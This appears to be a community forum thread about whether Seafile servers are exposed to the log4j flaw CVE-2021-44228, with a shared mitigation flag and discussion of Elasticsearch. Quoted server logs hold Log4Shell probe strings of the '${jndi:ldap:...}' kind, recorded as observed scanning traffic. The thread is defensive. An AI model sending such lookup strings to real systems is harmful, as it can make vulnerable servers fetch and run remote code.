Hi,
there’s a zero day exploit in the log4j java library, see CVE-2021-44228. An attacker can place an ldap url in the logfile that the local log4j will execute and download malicious code.
Our seafile pro server 7.0.19 is affected. My solution was to edit the jvm.options file under pro/elasticsearch/config and add the following entry to the log4j-Options:
-Dlog4j2.formatMsgNoLookups=true
This will prevent log4j to lookup the malicious ldap urls.
I got seafile community running in docker. I see the following in the logs:
2021-12-11 22:12:01,909 [WARNING] django.request:222 log_response Not Found: /owa/auth/x.js
2021-12-11 22:12:02,281 [WARNING] django.request:222 log_response Not Found: /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application
2021-12-11 22:13:57,537 [WARNING] django.request:222 log_response Not Found: /owa/auth/logon.aspx
2021-12-12 01:15:12,160 [WARNING] django.request:222 log_response Not Found: /favicon.ico
2021-12-12 02:09:43,891 [WARNING] django.request:222 log_response Not Found: /${jndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path}
Yes, I would also assume that the community edition is not vulnerable to this. In contrast to the pro version the downloads for the community editions do not contain the log4j jar files.
Also, my server that is running community edition does not have a log4j jar file anywhere on disk.
But it would be great to get a feedback from the dev team about this!
It seems that elasticsearch, which is used for file search in seafile, is not susceptible to remote code execution with this vulnerability due to the use of the Java Security Manager.
For more information please refer to:
Also the elasticsearch application is not accessible directly from the public, only through seahub for logged in users / api.
Of course it would be nice to get this confirmed from the devs (@Jonathan and @daniel.pan)
According to current knowledge, there does not seem to be a big risk for Seafile systems at the moment, because no attack can be done over the internet, but only through a full text search by a logged in user.
The attack can be mitigated by adding the following line to seafile-server-latest/pro/elasticsearch/config/jvm.options and restarting the seafile service on the background server:
-Dlog4j2.formatMsgNoLookups=true
Seafile community edition does not include Java component. So it is not related.
Regarding elasticsearch, it seems that they updated the information page (see my previous posted link), which says:
Elasticsearch 6 and 7 are not susceptible to remote code execution with this vulnerability due to our use of the Java Security Manager. Investigation into Elasticsearch 5 is ongoing.
As it seems that seafile uses Elasticsearch 5, the mitigation solution should be used until there are more news available.
Are there other java applications inside seafile that use log4j ?
If you search for -Dlog4j2.formatMsgNoLookups=true and it appears there, the fix is working for you (Elasticsearch has been started with this setting).
Seafile pro edition will build a search query using user’s input and send it to ElasticSearch. Normally, ElasticSearch will not log queries.
But if there are some exceptions when handling the query, (for example, not enough memory), ElasticSearch may log the query and trigger an attack.
So far, I can’t reproduce an attack with Seafile pro 8.0. But the best way to mitigate the problem is adding
-Dlog4j2.formatMsgNoLookups=true
In summary, so far, there does not seem to be a big risk for Seafile systems at the moment, because no attack can be done over the internet, but only through a full text search by a logged in user. And according to ElasticSearch forum, how ElasticSearch 5.6 can be attacked with log4j2 vulnerability is not known yet.
So seafile pro users are not affected in this case? @daniel.pan
I saw last week many tries of: “GET /$%7Bjndi:ldap://” So this doesn’t work on Seafile pro?
@daniel.pan: Thank you for the reply. Just one comment: you do not necessarily need to be logged in to use the full text search. A published library also offers the same functionality without requiring any form of authentication.
These errors are from malicious scripts that want to explore the vulnerabilty. But the URLs are handled by seahub written in Python. So it does not work with Seafile.